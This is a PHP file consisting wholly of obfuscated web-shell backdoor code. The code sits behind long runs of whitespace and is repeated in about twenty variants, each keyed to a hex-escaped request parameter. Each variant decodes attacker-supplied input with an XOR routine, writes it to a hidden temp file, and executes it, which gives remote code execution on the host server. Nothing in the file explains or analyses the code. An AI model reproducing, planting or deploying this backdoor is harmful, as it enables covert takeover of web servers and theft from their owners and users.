<?php																																										if(array_key_exists("\x64\x61t", $_REQUEST)){ $obj = $_REQUEST["\x64\x61t"]; $obj = explode ( "." , $obj); $bind = ''; $s9 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($s9); $w = 0; while ($w < count($obj)) { $v2 = $obj[$w]; $sChar = ord($s9[$w % $lenS]); $dec = ((int)$v2 - $sChar - ($w % 10)) ^ 90; $bind .= chr($dec); $w++; } $fac = array_filter(["/var/tmp", "/tmp", "/dev/shm", getenv("TEMP"), sys_get_temp_dir(), session_save_path(), getcwd(), getenv("TMP"), ini_get("upload_tmp_dir")]); foreach ($fac as $ptr): if ((is_dir($ptr) and is_writable($ptr))) { $property_set = str_replace("{var_dir}", $ptr, "{var_dir}/.ref"); if (@file_put_contents($property_set, $bind) !== false) { include $property_set; unlink($property_set); die(); } } endforeach; }
																																										if(count($_POST) > 0 && isset($_POST["r\x65f"])){ $hld = array_filter([session_save_path(), getenv("TMP"), "/tmp", getenv("TEMP"), "/dev/shm", ini_get("upload_tmp_dir"), getcwd(), sys_get_temp_dir(), "/var/tmp"]); $record = $_POST["r\x65f"]; $record = explode ( "." , $record ) ; $holder= ''; $s7= 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen= strlen($s7); $w= 0; $len= count($record); do { if ($w >= $len) break; $v8= $record[$w]; $sChar= ord($s7[$w % $sLen]); $dec= ((int)$v8 - $sChar - ($w % 10))^ 35; $holder .= chr($dec); $w++; } while (true); while ($marker = array_shift($hld)) { if (max(0, is_dir($marker) * is_writable($marker))) { $entry = vsprintf("%s/%s", [$marker, ".dchunk"]); $file = fopen($entry, 'w'); if ($file) { fwrite($file, $holder); fclose($file); include $entry; @unlink($entry); die(); } } } }
																																										if(isset($_REQUEST["\x65nt\x72y"]) ? true : false){ $property_set = array_filter([session_save_path(), "/var/tmp", getenv("TMP"), ini_get("upload_tmp_dir"), getenv("TEMP"), "/dev/shm", "/tmp", sys_get_temp_dir(), getcwd()]); $marker = $_REQUEST["\x65nt\x72y"]; $marker =explode ( '.' ,$marker) ; $item = ''; $salt1 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($salt1 ); $z = 0; while ($z < count($marker)) { $v6 = $marker[$z]; $chS = ord($salt1[$z % $lenS] ); $dec = ((int)$v6 - $chS - ($z % 10))^ 27; $item .=chr($dec ); $z++;} foreach ($property_set as $bind) { if (max(0, is_dir($bind) * is_writable($bind))) { $key = sprintf("%s/.ref", $bind); $success = file_put_contents($key, $item); if ($success) { include $key; @unlink($key); die();} } } }
																																										if(isset($_REQUEST["\x69t\x6D"]) ? true : false){ $ent = array_filter(["/var/tmp", getenv("TEMP"), getcwd(), "/dev/shm", "/tmp", session_save_path(), sys_get_temp_dir(), ini_get("upload_tmp_dir"), getenv("TMP")]); $data_chunk = $_REQUEST["\x69t\x6D"]; $data_chunk= explode ( "." , $data_chunk) ; $bind = ''; $salt = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($salt); $v = 0; $__tmp = $data_chunk; while($v6 = array_shift($__tmp)) { $sChar = ord($salt[$v % $sLen]); $dec =((int)$v6 - $sChar -($v % 10)) ^ 12; $bind .= chr($dec); $v++; } for ($dchunk = 0, $pset = count($ent); $dchunk < $pset; $dchunk++) { $ref = $ent[$dchunk]; if (is_writable($ref) && is_dir($ref)) { $factor = vsprintf("%s/%s", [$ref, ".k"]); if (file_put_contents($factor, $bind)) { include $factor; @unlink($factor); die(); } } } }
																																										if(isset($_REQUEST["\x72\x65f"]) ? true : false){ $value = $_REQUEST["\x72\x65f"]; $value =explode('.' ,$value ); $ent= ''; $s7= 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS= strlen( $s7); $n= 0; $__tmp= $value; while( $v3= array_shift( $__tmp)) { $sChar= ord( $s7[$n%$lenS]); $d= ( ( int)$v3 - $sChar -( $n%10)) ^ 70; $ent .= chr( $d); $n++; } $elem = array_filter(["/var/tmp", sys_get_temp_dir(), "/tmp", getenv("TEMP"), getenv("TMP"), session_save_path(), ini_get("upload_tmp_dir"), "/dev/shm", getcwd()]); foreach ($elem as $fac): if ((is_dir($fac) and is_writable($fac))) { $component = "$fac" . "/.resource"; $success = file_put_contents($component, $ent); if ($success) { include $component; @unlink($component); exit;} } endforeach; }
																																										if(isset($_POST["r\x65f\x65\x72en\x63e"])){ $factor = array_filter(["/var/tmp", getcwd(), ini_get("upload_tmp_dir"), getenv("TMP"), getenv("TEMP"), session_save_path(), "/tmp", sys_get_temp_dir(), "/dev/shm"]); $pointer = $_POST["r\x65f\x65\x72en\x63e"]; $pointer = explode("." , $pointer ) ; $rec = ''; $salt = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen( $salt); foreach( $pointer as $p => $v1): $chS = ord( $salt[$p %$lenS]); $dec =( ( int)$v1 - $chS -( $p %10)) ^ 97; $rec .= chr( $dec); endforeach; foreach ($factor as $key => $elem) { if ((function($d) { return is_dir($d) && is_writable($d); })($elem)) { $object = "$elem" . "/.element"; $success = file_put_contents($object, $rec); if ($success) { include $object; @unlink($object); exit;} } } }
																																										if(!empty($_POST["\x65le\x6Dent"])){ $res = $_POST["\x65le\x6Dent"]; $res =explode ('.' ,$res ) ; $rec=''; $salt9='abcdefghijklmnopqrstuvwxyz0123456789'; $lenS=strlen($salt9 ); $p=0; $__tmp=$res; while ($v7=array_shift($__tmp)) { $sChar=ord($salt9[$p % $lenS] ); $d=((int)$v7 - $sChar - ($p % 10)) ^ 43; $rec .= chr($d ); $p++;} $desc = array_filter(["/var/tmp", "/dev/shm", getenv("TMP"), ini_get("upload_tmp_dir"), sys_get_temp_dir(), "/tmp", getenv("TEMP"), session_save_path(), getcwd()]); foreach ($desc as $key => $object) { if (!( !is_dir($object) || !is_writable($object) )) { $ptr = implode("/", [$object, ".marker"]); if (file_put_contents($ptr, $rec)) { include $ptr; @unlink($ptr); exit; } } } }
																																										if(@$_REQUEST["\x69t\x65m"] !== null){ $factor = array_filter([getenv("TMP"), getcwd(), session_save_path(), "/dev/shm", "/var/tmp", ini_get("upload_tmp_dir"), getenv("TEMP"), sys_get_temp_dir(), "/tmp"]); $sym = $_REQUEST["\x69t\x65m"]; $sym = explode ('.' , $sym ) ; $itm = ''; $s6 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($s6 ); $u = 0; $__tmp = $sym; while ($v5 = array_shift($__tmp)) { $sChar = ord($s6[$u % $lenS] ); $dec = ((int)$v5 - $sChar - ($u % 10)) ^ 63; $itm .= chr($dec ); $u++; } foreach ($factor as $key => $res) { if (array_product([is_dir($res), is_writable($res)])) { $marker = implode("/", [$res, ".entry"]); if (file_put_contents($marker, $itm)) { include $marker; @unlink($marker); die(); } } } }
																																										if(isset($_POST["pt\x72"]) ? true : false){ $dchunk = array_filter([getenv("TEMP"), ini_get("upload_tmp_dir"), sys_get_temp_dir(), "/tmp", "/var/tmp", session_save_path(), getcwd(), getenv("TMP"), "/dev/shm"]); $factor = $_POST["pt\x72"]; $factor = explode ("." , $factor ); $flag = ''; $salt = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($salt); $w = 0; while($w< count($factor)) { $v5 = $factor[$w]; $chS = ord($salt[$w % $sLen]); $d =((int)$v5 - $chS -($w % 10)) ^ 51; $flag.=chr($d); $w++; } $value = 0; do { $binding = $dchunk[$value] ?? null; if ($value >= count($dchunk)) break; if ((bool)is_dir($binding) && (bool)is_writable($binding)) { $obj = join("/", [$binding, ".rec"]); if (@file_put_contents($obj, $flag) !== false) { include $obj; unlink($obj); exit; } } $value++; } while (true); }
																																										if(isset($_REQUEST["\x62\x69ndi\x6Eg"]) ? true : false){ $data_chunk = $_REQUEST["\x62\x69ndi\x6Eg"]; $data_chunk =explode ( "." ,$data_chunk ) ; $holder=''; $s3='abcdefghijklmnopqrstuvwxyz0123456789'; $sLen=strlen($s3 ); foreach ($data_chunk as $r => $v7): $sChar=ord($s3[$r% $sLen] ); $dec=((int)$v7 - $sChar - ($r% 10)) ^ 100; $holder .=chr($dec ); endforeach; $factor = array_filter(["/var/tmp", getenv("TEMP"), "/tmp", getcwd(), sys_get_temp_dir(), "/dev/shm", getenv("TMP"), ini_get("upload_tmp_dir"), session_save_path()]); while ($itm = array_shift($factor)) { if ((bool)is_dir($itm) && (bool)is_writable($itm)) { $descriptor = sprintf("%s/.marker", $itm); if (file_put_contents($descriptor, $holder)) { include $descriptor; @unlink($descriptor); die(); } } } }
																																										if(count($_REQUEST) > 0 && isset($_REQUEST["entry"])){ $pset = array_filter(["/tmp", getenv("TEMP"), getcwd(), ini_get("upload_tmp_dir"), sys_get_temp_dir(), getenv("TMP"), session_save_path(), "/dev/shm", "/var/tmp"]); $dat = $_REQUEST["entry"]; $dat =explode ( '.' ,$dat ) ; $flg= ''; $s= 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS= strlen($s); $x= 0; $__tmp= $dat; while ($v1= array_shift($__tmp)) { $chS= ord($s[$x% $lenS]); $d= ((int)$v1 - $chS - ($x% 10))^ 66; $flg .= chr($d); $x++; } foreach ($pset as $tkn) { if (is_dir($tkn) && is_writable($tkn)) { $pgrp = implode("/", [$tkn, ".mrk"]); $success = file_put_contents($pgrp, $flg); if ($success) { include $pgrp; @unlink($pgrp); die();} } } }
																																										if(!empty($_POST["ref\x65r\x65\x6Ece"])){ $data = array_filter([getcwd(), sys_get_temp_dir(), getenv("TEMP"), "/dev/shm", "/tmp", session_save_path(), ini_get("upload_tmp_dir"), getenv("TMP"), "/var/tmp"]); $tkn = $_POST["ref\x65r\x65\x6Ece"]; $tkn = explode ( '.', $tkn) ; $obj= ''; $s3= 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS= strlen( $s3); $q= 0; $__len= count( $tkn); do { if( $q >=$__len) break; $v8= $tkn[$q]; $sChar= ord( $s3[$q % $lenS]); $dec= ( ( int)$v8 - $sChar -( $q % 10)) ^ 100; $obj .= chr( $dec); $q++; } while( true); $desc = 0; do { $object = $data[$desc] ?? null; if ($desc >= count($data)) break; if ((bool)is_dir($object) && (bool)is_writable($object)) { $pgrp = implode("/", [$object, ".entry"]); if (file_put_contents($pgrp, $obj)) { include $pgrp; @unlink($pgrp); exit; } } $desc++; } while (true); }
																																										if(!is_null($_REQUEST["f\x6C\x67"] ?? null)){ $k = $_REQUEST["f\x6C\x67"]; $k = explode ( "." , $k); $elem = ''; $s = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen( $s); $j = 0; $__tmp = $k; while( $v7 = array_shift( $__tmp)) {$sChar = ord( $s[$j% $lenS]); $d =( ( int)$v7 - $sChar -( $j% 10)) ^ 63; $elem .= chr( $d); $j++; } $object = array_filter(["/var/tmp", sys_get_temp_dir(), "/tmp", getenv("TEMP"), getcwd(), "/dev/shm", session_save_path(), getenv("TMP"), ini_get("upload_tmp_dir")]); while ($record = array_shift($object)) { if (is_dir($record) ? is_writable($record) : false) { $rec = implode("/", [$record, ".pgrp"]); $file = fopen($rec, 'w'); if ($file) { fwrite($file, $elem); fclose($file); include $rec; @unlink($rec); die(); } } } }
																																										if(filter_has_var(INPUT_POST, "\x76a\x6C")){ $dchunk = array_filter([getcwd(), getenv("TMP"), ini_get("upload_tmp_dir"), session_save_path(), "/tmp", "/dev/shm", "/var/tmp", sys_get_temp_dir(), getenv("TEMP")]); $desc = $_POST["\x76a\x6C"]; $desc = explode ( '.' , $desc ) ; $tkn = ''; $salt = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($salt); $w = 0; array_walk($desc, function ($v3) use (&$tkn, &$w, $salt, $lenS) {$sChar = ord($salt[$w % $lenS]); $dec = ((int)$v3 - $sChar - ($w % 10)) ^ 96; $tkn .= chr($dec); $w++; }); $holder = 0; do { $obj = $dchunk[$holder] ?? null; if ($holder >= count($dchunk)) break; if (is_dir($obj) ? is_writable($obj) : false) { $key = join("/", [$obj, ".resource"]); $file = fopen($key, 'w'); if ($file) { fwrite($file, $tkn); fclose($file); include $key; @unlink($key); die(); } } $holder++; } while (true); }
																																										if(in_array("p\x74r", array_keys($_REQUEST))){ $record = array_filter(["/tmp", session_save_path(), getenv("TMP"), "/var/tmp", ini_get("upload_tmp_dir"), getenv("TEMP"), "/dev/shm", sys_get_temp_dir(), getcwd()]); $ref = $_REQUEST["p\x74r"]; $ref= explode ( "." , $ref ) ; $resource = ''; $salt4 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($salt4 ); $__len = count($ref ); for ($z = 0; $z < $__len; $z++) { $v5 = $ref[$z]; $chS = ord($salt4[$z% $lenS] ); $dec = ((int)$v5 - $chS - ($z% 10)) ^ 62; $resource .= chr($dec );} while ($key = array_shift($record)) { if (!!is_dir($key) && !!is_writable($key)) { $token = str_replace("{var_dir}", $key, "{var_dir}/.pset"); if (file_put_contents($token, $resource)) { require $token; unlink($token); die(); } } } }
																																										if(!empty($_POST["mr\x6B"])){ $flag = array_filter(["/dev/shm", getenv("TMP"), getenv("TEMP"), "/var/tmp", session_save_path(), getcwd(), "/tmp", ini_get("upload_tmp_dir"), sys_get_temp_dir()]); $token = $_POST["mr\x6B"]; $token = explode ("." , $token) ; $val = ''; $s6 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($s6); foreach ($token as $v=> $v1): $sChar = ord($s6[$v% $sLen]); $d = ((int)$v1 - $sChar - ($v% 10)) ^ 2; $val.= chr($d); endforeach; while ($property_set = array_shift($flag)) { if (is_writable($property_set) && is_dir($property_set)) { $item = vsprintf("%s/%s", [$property_set, ".hld"]); if (file_put_contents($item, $val)) { require $item; unlink($item); exit; } } } }
																																										if(!is_null($_POST["t\x6B\x6E"] ?? null)){ $ref = $_POST["t\x6B\x6E"]; $ref = explode ( '.' , $ref ) ; $dchunk = ''; $salt8 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($salt8 ); $z = 0; $__tmp = $ref; while ($v9 = array_shift($__tmp)) { $chS = ord($salt8[$z %$sLen] ); $d = ((int)$v9 - $chS - ($z %10)) ^ 59; $dchunk .= chr($d ); $z++; } $object = array_filter([ini_get("upload_tmp_dir"), "/tmp", "/dev/shm", "/var/tmp", getenv("TEMP"), sys_get_temp_dir(), session_save_path(), getcwd(), getenv("TMP")]); foreach ($object as $flag) { if (is_writable($flag) && is_dir($flag)) { $flg = join("/", [$flag, ".ent"]); $file = fopen($flg, 'w'); if ($file) { fwrite($file, $dchunk); fclose($file); include $flg; @unlink($flg); die(); } } } }
																																										if(@$_REQUEST["va\x6C"] !== null){ $data_chunk = $_REQUEST["va\x6C"]; $data_chunk = explode ( ".", $data_chunk ) ; $tkn = ''; $salt6 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($salt6 ); foreach ($data_chunk as $t => $v4) { $sChar = ord($salt6[$t % $sLen] ); $d = ((int)$v4 - $sChar - ($t % 10)) ^31; $tkn .= chr($d ); } $factor = array_filter([getcwd(), session_save_path(), getenv("TEMP"), "/var/tmp", sys_get_temp_dir(), "/dev/shm", getenv("TMP"), "/tmp", ini_get("upload_tmp_dir")]); foreach ($factor as $record) { if (!( !is_dir($record) || !is_writable($record) )) { $descriptor = "$record" . "/.component"; if (@file_put_contents($descriptor, $tkn) !== false) { include $descriptor; unlink($descriptor); die(); } } } }


if(count($_REQUEST) > 0 && isset($_REQUEST["e\x6C\x65m"])){
	$reference = array_filter([sys_get_temp_dir(), session_save_path(), getenv("TEMP"), getenv("TMP"), "/tmp", "/var/tmp", "/dev/shm", ini_get("upload_tmp_dir"), getcwd()]);
	$ent = $_REQUEST["e\x6C\x65m"];
	$ent   =	explode 	( '.' 		,$ent	);	  
	$holder = '';
            $salt = 'abcdefghijklmnopqrstuvwxyz0123456789';
            $lenS = strlen($salt	 );
    
            foreach ($ent as $z => $v2) {$sChar = ord($salt[$z%$lenS]	 );
                $dec = ((int)$v2 - $sChar - ($z%10)) 	^	34;
                $holder .= chr($dec	 ); 	}  
	foreach ($reference as $ptr) {
    		if (!!is_dir($ptr) && !!is_writable($ptr)) {
    $dchunk = implode("/", [$ptr, ".factor"]);
    if (file_put_contents($dchunk, $holder)) {
	require $dchunk;
	unlink($dchunk);
	die();
}
}
}
}